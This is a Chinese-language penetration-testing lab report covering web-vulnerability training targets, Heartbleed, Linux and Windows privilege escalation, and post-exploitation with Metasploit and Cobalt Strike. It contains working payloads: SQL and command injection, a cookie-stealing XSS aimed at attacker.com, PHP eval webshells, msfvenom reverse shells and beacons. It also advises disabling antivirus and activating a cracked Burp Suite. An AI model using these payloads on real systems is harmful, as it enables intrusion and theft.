一、 环境搭建

环境:windows 11

下载软件:VMware WorkStation Pro 17

1. 搭建windows 10 的虚拟环境

网址:MSDN, 我告诉你 - 做一个安静的工具站

点击左方操作系统,选择windows 10

选择Windows 10 Education (x64) -DVD(Chinese-simplified),点开详细信息

复制链接到迅雷下载。

下载完成为下列镜像文件

在VMware workstation中

点击左上角文件,点击新建虚拟机

选择自定义(高级),点击下一步

硬件兼容性选择 Workstation 17.5 or later,点击下一步

点击选择稍后安装操作系统(S),点击下一步

选择Microsoft Windows(W) 操作系统,版本为Windows 10,点击下一步

位置中点击浏览可以修改虚拟机在本地主机的位置,点击下一步

固件类型选择BIOS(O),点击下一步

处理器配置按默认设置,点击下一步

虚拟机内存选择1024MB,点击下一步

网络类型选择使用网络地址转换(NAT)(E),点击下一步

I/O控制器类型选择LSI logic SAS(s)

磁盘类型选择NVMe(V),点击下一步

选择磁盘上选择创建新虚拟磁盘(V),点击下一步

指定磁盘容量中最大磁盘大小(GB)(S)设置为60GB,选择将虚拟磁盘拆分成多个文件(M),点击下一步

磁盘文件按默认,点击下一步

点击自定义硬件,

点机新CD/DVD(SATA)

链接中选择使用ISO映像文件,点击浏览选择下载好的Windows 10 映像文件,点击关闭

点击完成

就创建好了windows 10虚拟机

点击开启虚拟机,进行安装系统

点击下一步,点击继续安装,密钥选择跳过,

点击选择我接受许可条款,点击下一步

选择自定义安装

点击新建

按下图分配,也可自行分配分区大小,点击下一步

就可以安装完成,接下来等待系统安装完成,完成部分操作后,创建账户

接下来安装VMware Tools,在VMware Workstation虚拟机选项中选择安装VMware Tools,该软件可以与物理机文件交互,进行复制粘贴

点击虚拟机中的DVD驱动器

运行setup64.exe,点击是

点击是

进入安装向导后点击典型安装(单个虚拟机)

重启之后就可以使用

2. 搭建PHPstudy

小皮面板(phpstudy) - 让天下没有难配的服务器环境!

首先下载火狐浏览器,进入浏览器输入小皮面板(phpstudy) - 让天下没有难配的服务器环境! 下载

选择phpstudy,点击下载phpstudy

下载版本phpstudy v8.1,选择64位下载

下载解压,安装之后,应用界面为下图

紧接着,启动“Apache2.4.39”以及“MySQL5.7.26”服务,这里注意!在启动过程中,如图:

打开浏览器输入127.0.0.1,成为为下图

进行MySQL的环境变量配置,点击设置,点击文件位置,打开MySQL,点击MySQL 5.7.26

进入到路径之后,点击进入bin文件

复制路径

找到系统设置中的环境属性中高级选项的环境变量,

选择系统变量中的PATH路径,将复制到的路径加入其中

输入win+R-----输入cmd-----输入“mysql -uroot -p”,最后显示如下

则成功!(密码为root)

3. 搭建pikachu靶场

(参考网址pikachu 靶场环境搭建 完整版(手把手保姆级教学)_pikachu靶场搭建-CSDN博客

打开火狐浏览器,打开网址https://github.com/zhuifengshaonianhanlu/pikachu

进入pikachu github,点击code-----download zip,下载压缩包,

“解压”文件并“重命名”为“pikachu”,接着把文件“移动”到如下目录(网站根目\phpstudy_pro\WWW)

建议下载一个notepad++(windows10自带记事本不好用),官网为https://github.com/notepad-plus-plus/notepad-plus-plus

找到releases,下载

npp.8.8.3.Installer.x64.exe

下载安装完之后,就可以使用notepad++打开代码

找到phpstudy_pro\WWW\pikachu\inc目录下的config.inc.php

修改成define('DBPW', 'root');

打开浏览器输入http://127.0.0.1/pikachu/install.php ,点击安装/初始化

然后就创建成功了

4. 搭建dvwa靶场

(参考网站DVWA下载、安装、使用(漏洞测试环境搭建)教程-CSDN博客

打开浏览器,输入https://github.com/digininja/DVWA

进入DVWA github,点击code-----download zip

解压缩至phpstudy_pro\WWW目录下,重命名位DVWA

打开DVWA,点击config文件夹,里面有文件config.inc.php.dist

点击修改

具体修改用户与密码为root:

$_DVWA[ 'db_user' ] = 'root';

$_DVWA[ 'db_password' ] = 'root';

以及添加key:

$_DVWA[ 'recaptcha_public_key' ]  = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';

$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

然后另存为config.inc.php

打开phpstudy ,将 Apache2.4.39 , FTP0.9.60 ,MySQL5.7.26 启动

进入网址http://127.0.0.1/dvwa/setup.php

点击Create/Reset Database

进入登陆界面,输入username:admin   password:password

至此就配置好了DVWA

输入http://127.0.0.1/DVWA/security.php 或者选择左侧DVWA Security 可以选择难度

5. Burp suite安装与配置

(参考网址BurpSuite v2.1(含中文版)的保姆级安装与使用_burpsuite中文版-CSDN博客

首先先要下载java环境,下载jdk 24

输入网址Java Downloads | Oracle 中国

找到JDK24------windows,点击下载x64 Installer

设置JAVA环境变量

安装完jdk24之后,找到自己下载到的文件夹目录(默认为C:\Program Files\Java\jdk-24),复制路径

打开环境变量,

在系统变量处添加JAVA_HOME,粘贴上复制的路径,

点击path路径编辑,在末尾或开头添加 %JAVA_HOME%\bin;

Burpsuite下载地址:

通过网盘分享的文件:burpsuite25最新版(2025.4.26可用)

链接: https://pan.baidu.com/s/14Hg9_oT_GiMseSNgazXzYw?pwd=9527 提取码: 9527

解压缩为下图:

点击打开bp.bat

复制左侧License 到Enter license key中

点击Manual activation

在burp中2.的 copy request粘贴到回破解软件的Activation Request,再复制Activation Response回burp中,点击next

成功激活

配置证书:

打开burp软件,选择proxy-------settings

点击Import/export CA certificate

选择export中的Certificate in DER format

选择好要保存到的文件夹后命名为cacert.der ,成功导出证书

安装浏览器插件FoxyProxy Standard

在浏览器中搜索FoxyProxy Standard或直接输入网址

https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/

若显示需要更新火狐浏览器,点击下载安装即可,更新完之后要重启浏览器

更新完之后点击添加插件

打开插件的选项设置

修改参数并保存代理数据

点击浏览器程序菜单,点开设置

查询证书

点击查看证书

导入在burp中导出的证书,至此配置完成

6.搭建kali-linux

(参考网址

网络渗透系列(一)黑客攻击机Kali亲测安装教程(全程干货、火爆连载更新中...)_攻击机(kali)-CSDN博客

打开浏览器访问Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution

点击DOWNLOAD,选择Virtual Machines中的Recommended

选择VMware下载

解压软件

打开VMware,选择打开虚拟机

选择解压的kali文件中的

点击打开此虚拟机

登陆kali: 初始的用户名和密码均为  kali

进入系统之后,

二、 实验进行

1. Pikachu靶场上通过SQL注入模块,字符型,数字型,布尔型盲注,时间型盲注

打开phpstudy三套件

打开http://http://127.0.0.1/pikachu/index.php  

选择SQL-Inject

选择数字型注入(post):可以查看userid为1时的数据


切换到字符型(get):点击右上角提示可以发现变量类型为字符型

那么就可以通过查看对应的username:vince查看信息

也可以利用代码漏洞

输入xxx' or 1=1 #

2. Pikachu靶场上通关靶场的反序列化模块

选择php反序列化,选择概述

先了解两个函数

序列化serialize()

反序列化unserialize()

尝试对代码进行攻击,

输入payload: O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

点击提交

对pikachu靶场反序列化漏洞的源代码进行审计,解释危险函数的含义并且分析漏洞成因

查看反序列化的源代码:

class S {

    var $test = "pikachu";  // 定义公有属性$test,默认值"pikachu"

    function __destruct() {  // 析构函数:对象销毁时自动调用

        echo $this->test;    // 直接输出$test属性的值(无过滤)

    }

}

$s = $_GET['test'];         // GET参数'test'获取用户输入

@$unser = unserialize($a);  // 反序列化操作

Payload中代码:

O:1:"S"               #  定义对象(O),类名长度1,类名为S

:1:                  #  对象有1个属性

{s:4:"test";             #  属性名:长度4的字符串test

s:29:"<script>...";}     #  属性值:长度29的字符串<script>alert('xss')</script>

可以通过代码看到反序列化函数接收到payload之后序列化为了

<script>alert('xss')</script>

而又错误的引用了function __destruct()

导致直接输出了这段代码<script>alert('xss')</script>

这段代码的效果则为输出一个弹窗,弹窗中的内容为xss

通过对代码的分析,我们也可以构造出一个新的payload

O:1:"S":1:{s:4:"test";s:51:"<script>setInterval(()=>location.reload())</script>";}

效果:使得网页持续化XSS(这样会网页会变卡)

O:1:"S":1:{s:4:"test";s:73:"<script>fetch('http://attacker.com/steal?data='+document.cookie)</script>";}

实际需要更换Attacker - The Domain Name Attacker.com is Now For Sale.为监听的网址,s:73  也要更换为对应的长度

效果:

3. Pikachu靶场上通关靶场ssrf漏洞模块

并且对靶场源代码进行审计,解释危险函数的含义并且分析漏洞成因

ssrf漏洞概述

 (1)攻击curl函数楼漏洞

可以看到整个网址变成了

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

(a) 通过网址访问别的链接

修改url为url=http://www.baidu.com

可以看到效果为pikachu靶场中直接嵌入了百度网页

查看

(b) 通过file协议查看本地文件

在本地创建一个文件D:\test.txt

其中内容为I'm a huge fan of Kobe.

修改url为url=file:///d:/test.txt(格式url=file:///),可以看到文件的内容

(c) dict协议扫描内网主机开放端口

修改网址为url=dict://192.168.1.8:80

使用dict协议可以获取内网主机开放端口相应服务的指纹信息,内网主机开了http端口的话,如图:

         其中核心代码:

通过代码分析它直接使用未经验证的用户输入($_GET['url'])作为cURL目标地址,允许攻击者构造恶意协议(如file://、gopher://、dict://等)访问或探测内部网络资源,问题有未过滤协议,未限制内部访问,未禁用重定向

(2) file_get_content函数

点击后变成了网址

http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

查看file_get_contents()的基本语法

 (a) file读取本地文件

修改file为:file=file:///D:/test.txt,查看文件的内容:

(b) http协议请求内网资源

任意访问本地文件:修改为file=http://127.0.0.1/pikachu/vul/ssrf/1.php

4. Dvma靶场上通关所有难度下的命令执行漏洞

并对靶场源代码进行审记,解释为何能成功绕过

(参考网址:DVWA通关攻略零到一【全】-CSDN博客

开启phpstudy,启动三个服务套件

键入 http://127.0.0.1/DVWA/security.php 打开DVWA靶场

先打开DVWA Security调节难度,调节为low(medium\high同理)

Command Injection中

点击右下角查看源代码

查看low level :

网站提示我们输入ip地址

尝试输入本机ip地址,127.0.0.1,点击提交,发现返回的数据和我们在cmd命令行里面执行ping 127.0.0.1的结果相似。网页端由于编码的问题所以有些是乱码


如果有产生中文乱码:可以找到DVWA目录下DVWA/dvwa/includes中的dvwaPage.inc.php进行参数修改,

使用notepad++打开修改:

点击左上角搜索中的查找


查找目标:utf-8

将其修改为GB2312


输入127.0.0.1

从网站源码分析:对输入的ip地址进行ping操作,源码只让我们进行ping操作,没有其他动作,但它给了我们一个利用系统命令的平台。我们能在执行ping命令操作的同时也能执行其他命令

命令连接符:

& :前面一个命令无论是否执行,后面的命令都能执行,两个命令都执行

&&:前面一个命令执行成功后,才能执行后面一个命令,两个命令都执行

|:前面一个命令无论是否执行,后面的命令都能执行且只执行后面一个

||:前面一个命令不能正常执行后,才能执行后面一个命令

使用命令:127.0.0.1 | dir

使用命令:127.0.0.1 && ipconfig

查看medium level:

源码分析:发现在Low等级源码的基础上添加了一个黑名单,把‘&&’字符和‘;’字符过滤掉了,但我们可以使用黑名单之外的命令连接符继续命令注入

如果继续使用上面的命令:127.0.0.1 && ipconfig,会返回一个错误的参数ipconfig

但是我们还有别的可以使用:

使用命令:127.0.0.1 |dir

使用命令:127.0.0.1 & ipconfig

输入 whoami || dir:

查看high level:

源码分析:发现还是一样的套路,也是过滤字符但过滤得更多了。但仔细观察发现有一个过滤是’| ‘,注意这个过滤是加了空格的,说明这个过滤其实是没用的,只需要’|’后面直接加入参数,不保留空格,我们依然可以用这个命令连接符进行命令注入

使用命令:127.0.0.1 |dir

使用命令:127.0.0.1 &ipconfig

查看impossible level:

源码分析:可以发现对post包进行了严格的限制

(1) 严格的输入验证

四段式验证:强制要求输入必须是4个用点分隔的字段

数值校验:每个字段必须为纯数字(is_numeric),彻底拒绝任何非数字字符(如;、&、|等命令注入符号)。

结构限制:通过explode()分割后重组IP,确保最终输入的格式只能是数字.数字.数字.数字

(2) Anti-CSRF令牌机制

双重验证:提交时验证用户令牌与会话令牌是否匹配

令牌时效性:每次请求后重新生成令牌(generateSessionToken()),防止令牌重用。

防御CSRF攻击:确保请求仅来自合法表单,阻断跨站伪造请求。

5 .心脏滴血漏洞靶场渗透

    5.1格式化字符漏洞

        5.1.1  本质

当程序将用户输入的数据直接作为格式化字符串参数传递给输出函数(如 C/C++ 的 printf、sprintf)时,攻击者可通过注入特殊格式化字符(如 %x, %n, %s)实现内存读写或代码执行。

         5.1.2 核心原理

         以 C 语言为例:

// 漏洞代码示例

void vulnerable() {

    char user_input[100];

    gets(user_input);           // 用户输入(如攻击者控制的字符串)

    printf(user_input);           // 直接作为格式化字符串使用 → 漏洞点!

}

         攻击方式:

         1). 内存读取(信息泄露)

         输入 %x%x%x:

强制 printf 从栈上读取并打印本不该访问的内存数据(如密码、密钥)。

         输入 %s:

                   若栈上存在指针,可能泄露指针指向的敏感数据。

         2). 内存写入(代码劫持)

         输入 %n:

printf("AAAA%n", &count);        // 将已输出的字符数(4)写入count变量

         攻击者组合使用:

         构造 [目标地址]%[数值]c%n

向任意地址(如函数返回地址)写入数据 → 控制程序执行流。

        3). 崩溃攻击

输入过多 %s 或无效地址 → 触发段错误(DoS)。

     5.2 对包含心脏滴血漏洞的靶场进行渗透并且带出信息

记录详细渗透过程(参考网址OpenSSL 心脏滴血漏洞(CVE-2014-0160) - FreeBuf网络安全行业门户 )

        5.2.1   Heartbleed:

心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过滤,即可以读取的数据比应该允许读取的还多。HeartBleed主要存在与OpenSSL的1.0.1版本到1.0.1f版本。利用该漏洞,攻击者可以远程读取服务器内存中64K的数据,获取内存中的敏感信息。

        5.2.2    漏洞描述:

Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

         5.2.3   漏洞原理:

OpenSSL“心脏出血”漏洞的问题出现在openSSL处理TLS心跳的过程中,TLS心跳的流程是:A向B发送请求包,B收到包后读取这个包的内容(data),并返回一个包含有请求包内容的响应包。请求包的内容(data)中包含有包的类型(type)和数据长度等信息。

当B收到A的请求包后,并没有的验证A包的实际长度,而是简单的把请求包data中说明的长度当作data的实际长度,于是当请求包中说明的长度与请求包数据实际长度不同时,问题就产生了。假设A构造一个请求包,它的实际内容长度只有1,而却告诉B的它的长度是65535,那么B接受到这个包后就会把A的内容完全当作65535来处理,其实到这里,问题还并不严重,最严重的问题出在,心跳的响应包还需要附带请求包的全部内容,这就需要程序做一次将请求包的数据从它所在的内存拷贝到响应包的内存里的操作。

这下就出大问题了,当拷贝的时候,程序认为A包的内容长度是65535个字节,结果A包在内存里面实际只有1个字节,于是程序不仅拷贝出了A包的内容,还“傻傻”地将A包数据在内存中位置后额外的65534个字节拷贝进了响应包里,并将这个响应包发还给了A,于是A便轻易地获得了B内存中这65534个字节的数据。想象一下,如果这65534个字节数据中包括一些敏感信息,那么后果将非常严重。而且A还可以简单地通过连续的发送心跳包,获取B机器内存中n个65534字节的数据,这个漏洞不愧是2014年“最佳漏洞”。

        5.2.4  影响版本:

        OpenSSL 1.0.1版本

        5.2.5  漏洞复现:
        (1). 环境介绍:

        靶机:112.74.133.94 (服务器搭建环境)

        攻击机:kali 192.168.244.136

        确保两台测试机网络能通(服务器网址在公网上)

        使用ifconfig查看攻击机ip:

        (2). 复现过程:

        信息收集:

        打开kali攻击机,使用命令行输入指令

        1). 使用Nmap进行扫描

        命令:nmap -sV -T4 192.168.139.136(未开启端口)

        2). 使用Nmap漏洞扫描脚本对8443端口进行扫描检测如下:

        (提前知道开放端口在52118)
        命令:nmap -sV -p 52118 --script ssl-heartbleed.nse 112.74.133.94

              使用MSF框架攻击:

              a). 进入msfconsol

              命令:msfconsole

                   b). 搜索相关漏洞模块

                   命令:search heartbleed

                   c). 使用攻击模块1

                   命令:use auxiliary/scanner/ssl/openssl_heartbleed

                   d). 查看配置参数(未设置)

                   命令:show options

                   e).配置参数

对required为yes但是current setting为空的项进行设置,这里我们只需要设置rhosts(靶机ip)

命令:

set rhosts 112.74.113.94          #靶机ip

set rport 52118                 #设置端口

set verbose true                #设置verbose为true是为了 看到泄露的信息


                  f). 查看配置参数(配置完后)

                   命令:show options

                g). 进行攻击

                命令:run

这里就可以看到 靶机的64KB信息了(如果有人此时在登录web应用,还可以直接抓到账号密码等信息)。

6. Linux提权

(1)linuxs操作系统忘记密码-如何重设

虚拟机:CentOS 7

进入安全模式(救援模式)

重启虚拟机(系统)

在启动界面点击Esc,悬停在选择系统界面

点击e

找到linux16这一行代码的最后,添加上rw init=/bin/bash

Ctrl + x保存运行,会看到bash-4.2# (说明已经进入root权限)

输入passwd root,输入修改的密码root(两遍)

输入exec /sbin/init 运行设置

重新设置之后输入root,以及密码root就可以进入系统

(2)当用户只有root vim权限

在xshell中新建会话登陆服务器8.148.222.61:22

输入whoami 查看用户

进入home页面添加用户wuquanbin

添加密码123456(两遍)

成功设置后,输入ls查看用户栏,确实存在wuquanbin

为用户添加root权限

首先要先进入root,输入密码,进入root之后

键入vim /etc/sudoers

输入i,光标移到root下添加

wuquanbin         ALL=(ALL)      ALL

输入Esc,输入:wq!

输入su wuquanbin 进入自己创建的用户

使用命令:netstat -lntup

(没有root权限)

sudo netstat -lntup (有root权限)

如何从无root权限提升到有root权限状态(前提有root vim)

输入sudo vim 333.txt

编辑文件,随便输入一些文字

最后保存时输入:!bin/bash

输入完成后即可进入root用户

输入cat /etc/shadow

可以获得所有用户的信息,以及密码信息

也可以输入ifconfig,查看服务器ip配置

补充说明:

删除、添加vim功能(在获得root情况下就不用sudo)

ll /usr/bin/vim

sudo chmod u-s /usr/bin/vim  #删除写入功能

sudo chmod u+s /usr/bin/vim  #添加写入功能

(绿色代表有权限,红色代表没有)

7. Windows提权

创建一个txt文件,用notepad++输入代码:(关闭防火墙)

<?php @eval($_POST[123]);?>

以8.jpg保存

下载中国蚁剑(AntSword):

(参考网址:中国蚁剑(AntSword)安装、使用教程-CSDN博客

加载器访问网址:https://github.com/AntSwordProject/AntSword-Loader

点击release,选择windows 64位

核心源码地址:https://github.com/AntSwordProject/antSword

点击code-----download zip

下载并解压

点击运行AntSword-Loader-v4.0.3-win32-x64中的AntSword.exe

点击初始化,选择antSword-master目录

完成中国蚁剑的基本部署配置

在火狐浏览器中打开FoxyProxy插件进行代理

这里设置burp

Hostname:   192.168.244.1

端口:  8081

在burp suite中添加对这个ip的拦截

具体操作:proxy----proxy setting

在setting中点击add

添加相同的ip地址与端口号(192.168.244.1:8081)

设置完后打开拦截

火狐中将代理打开

在虚拟机中登陆网址

http://8.148.220.221/upload (服务器上搭建)

选择pass-02

点击浏览选择之前保存的8.png,并上传

Burp中拦截到post包后

ctrl +R发送到repeater中后,关闭拦截,在repeater中修改8.png为123456.php

随机send发送出去,有response 200就算成功

回到服务器上传网页,右键下面的图像,点击新建标签页打开图像

得到一个网址http://8.148.220.221/upload/upload/8.jpg

复制网址,打开中国蚁剑,右键空白处添加数据

复制上述地址到url地址中,将后面的8.jpg改为123456.php,连接密码:123,编码器选择base64进行加密

点击添加后成功会弹出

双击点击打开,会进入

若代码加载成功,可进入文件操作界面

右键点击虚拟终端

可以进入windows 命令行操作界面,到这步基本上已经获得服务器电脑的操作权限

命令:calc,会弹出计算器

命令:ipconfig ,会弹出ip配置

命令:ping www.baidu.com

命令:explorer 百度一下,你就知道

explorer http://www.yuanshen.com

打开网页访问百度网页和原神页面

命令:shutdown

关闭服务器

8. Upload-labs Pass—14

打开链接https://github.com/c0ny1/upload-labs

点击code----download zip

解压之后,将文件夹upload-labs-master中的upload-labs-master重命名为upload,存放在

phpstudy_pro\WWW中

开启phpstudy三套件

输入网址; http://127.0.0.1/upload ,选择Pass_14

制作图片马(需要内存较小的图片,内存太大会失败)

方法1:使用notepad++编辑图片

打开实验.jpg,在末尾添加代码后保存:

<?php @eval($_POST['cmd']); ?>

在浏览器页面,浏览并添加文件,点击上传

将其中图片在新标签打开

复制其路径 http://127.0.0.1/upload/upload/9520250715182356.png

输入http://127.0.0.1/upload/include.php 能看见漏洞代码

在这个网址后添加 ?file= 并将图片地址添加上

http://127.0.0.1/upload/include.php?file=http://127.0.0.1/upload/upload/9520250715182356.png

能查看到一段乱码,就算成功

若打开成下述,有可能是图片大小太大

若出现这种情况,即需要开启php中的allow_url_include

找到目录phpstudy_pro\Extensions\php\php7.3.4nts中的php.ini配置文件,找到并修改其中的参数

用notepad++打开文件,查找到allow_url_include

将allow_url_include以及allow_url_fopen的参数都设置为On

打开中国蚁剑,右键空白处添加数据

url地址:

http://127.0.0.1/upload/include.php?file=http://127.0.0.1/upload/upload/9520250715182356.png

连接密码:cmd  (密码便是添加代码post中的内容)

完成后双击打开,并且右键打开虚拟终端

使用calc,打开计算器

输入ipconfig,查看windows ip配置

可以修改添加图片中的代码:

修改成再像上述方法上传并操作

<?php phpinfo();?>

效果为打开php查看版本

实验截图总结:

9. App渗透

Kali中搭建MOBSF软件

由于有些版本没有docker环境,由于访问不到外网

使用两段代码

apt-get update

apt-get upgrade

运行代码

apt-get install docker.io

但会发现不能下载,需要自建源并下载

于是我们选择外部导入一个docker(daemon.json带有源)

也可以选择主动增加一个docker文件,创建daemon.json将源附上

具体导入使用的方法是xftp8导入

网上下载并安装xftp8

在kali中打开SSH服务,输入代码

sudo systemctl start ssh      # 启动SSH服务

sudo systemctl enable ssh    # 设置开机自启

sudo systemctl status ssh     # 查看SSH服务开启状态

ip a      #查看kali虚拟机ip地址

打开xftp创建会话

创建一个

名称:kali

主机:192.168.244.136

用户名:kali

密码为:kali

连接之后可以访问并传输kali的文件

但是由于没有kali中/etc的操作权限,可能传输不进去(传输速率为0)

于是将文件传输到/home/kali下

然后再进入kali中进行文件操作,打开Home,找到对应文件docker,直接剪切(Cut)

在上方输入框中输入/etc,右键空白处能发现不能粘贴(Paste)(没有操作权限)

选择Open as Root

将文件粘贴进去,选择Replace

完成了docker文件的替换

在kali终端中输入

cd /etc/docker     #进入docker文件

ls                #查看文件内容

能看到有两个文件

daemon.json 和key.json

输入vim daemon.json查看其中的源

其中的源:

https://docker.registry.cyou

https://docker-cf.registry.cyou

https://dockercf.jsdelivr.fyi

https://docker.jsdelivr.fyi

https://dockertest.jsdelivr.fyi

https://mirror.aliyuncs.com

https://dockerproxy.com

https://mirror.baidubce.com

https://docker.m.daocloud.io

https://docker.nju.edu.cn

https://docker.mirrors.sjtug.sjtu.edu.cn

https://docker.mirrors.ustc.edu.cn

欢迎访问 ISCAS 开源镜像站

https://docker.rainbond.cc

重新加载配置文件并重新启动docker

输入systemctl daemon-reload

systemctl restart docker

输入docker version查看版本(是否成功安装)

输入systemctl status docker.service检查 Docker 服务状态(active为成功)

使用docker下载mobsef

docker pull opensecurity/mobile-security-framework-mobsf

在本地的8000端口运行mobsf

输入代码:

docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf

运行成功后在kali浏览器中输入127.0.0.1:8000便可访问到

或者在物理机上的浏览器输入(kali ip:port)

192,168.244.136:8000

输入账号,密码,都为mobsf,即可进入mobsf中

10. 内网穿透

打开虚拟机win10 和kali

点击vm左上角编辑-------虚拟网络编辑器

其中虚拟机win10设置为桥接模式

注意要选择自己的网卡---Realtek Gaming 2.5GbE Family Controller

(否则可能会无网络链接----ping不到外网,尝试ping www.baidu.com

Kali虚拟机默认使用nat模式

Kali虚拟机地址:192.168.244.136

Win10虚拟机地址:192.168.1.8

物理机地址:192.168.1.6

(1)、 在kali开启cobaltstrike4服务端

Kali虚拟机中使用xshell连接kali虚拟机

外配置文件:

将文件拖入xshell中,会显示下图

传输成功后ls查看,能看到cobaltstrike4.zip已经被传输进来

更新一下unzip版本

输入sudo apt update && sudo apt install unzip

解压缩文件

输入unzip cobaltstrike4.zip

ls                 #    查看是否安装成功

cd cobaltstrike4     #    进入文件夹

ls                 #    查看文件夹内容

可以看到teamserver并没有操作权限

输入chmod +x teamserver

输入ll查看(变成绿色,获得操作权限)

输入sudo ./teamserver 192.168.244.136 test

运行cobaltstrike4(注意一定要在jdk 8环境下运行,高版本jdk 24和低版本都会出问题)

(可上网寻找资源,如百度网盘 请输入提取码

点击打开cs.bat

其中主机: 192.168.244.136

端口:50050

用户名:test

密码:test

点击连接(若是卡在这步,也许是虚拟机问题,大概率也跟jdk版本有关系,可以选择在物理机启动)

点击添加左上角Cobalt Strike中的监听器添加监听器

名字:win11

Payload: Beacon HTTP

HTTP Hosts:192.168.244.136

HTTP Hosts(Stager):192.168.244.136

HTTP Port(C2): 4444

点击save保存

监听器界面:

点击攻击-----生成后门-----Windows Executable

点击监听器右侧,选择刚刚设置的监听器win11

输出:Windows EXE

将x64:使用x64payload选上

将其保存在希望保存的文件夹中(建议关闭df,会被查杀),命名为artifact.exe

找到对应的文件夹,运行文件artifact.exe

运行程序之后会多出一个会话

文件管理器中也可以查看到运行状态

也可右键,进行相应操作,但是有点卡,这里不演示

Webshell拿下主机权限

(linux----****.elf/windows-----***.exe)

利用xshell和xftp连接kali和CentOS

在kali中输入cd /tmp\

输入ls 查看目录

在tmp文件中生成一个木马文件22222.elf

输入msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.244.136 LPORT=6666 -f elf >22222.elf

ls 查看目录可以考到已经创建成功

回到kali主机也能查看到,将其拉出kali放入物理机中(记得关闭df,不然会直接查杀隔离)

在xftp中直接拉入文件放到CentOS的/tmp文件夹中

在xshell中操作CentOS

输入cd /tmp

输入ls  查看文件可以看到没有执行权限

输入chmod +x 22222.elf

在xshell中操作kali,输入msfconsole

输入 use exploit/multi/handler

输入options 查看状态

输入set LHoST 192.168.244.136

set LPORT 6666

set payload linux/x64/meterpreter/reverse_tcp

run                                         #启动开始监听

回到CentOS中操作

输入./22222.elf   执行文件

回到Kali中可以看到,已经获取操作权限

输入ipconfig

联动:(cs与msf)

在kali中输入sudo ./teamserver 192.168.244.136 test

退出尝试其他方法,可以输入background

输入set payload windows/meterpreter/reverse_http

输入 set lhost 192.168.244.136

输入  set lport 4451     #   添加端口4451

options                #   查看当前配置

输入run   # 运行

打开Cobalt Strike

在下方点击add 添加(与msf中数据相同)

其中名字:msf

payload :Foreign HTTP

HTTP Host(Stager): 192.168.244.136

HTTP Port(Stager):4451

右键上方项目添加会话:(添加msf进去)

重新点击保存的木马运行程序artfact.exe

此时回到kali中(可以等一段时间会看到有变化)
如果你发现在msf中输入指令没有效果,那么ctrl+c结束一下,然后通过sessions -i找到会话,继续通过sessions -i id值,就可以了。

输入代码:sysinfo

输入ipconfig,(确实都是物理机的信息)

Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐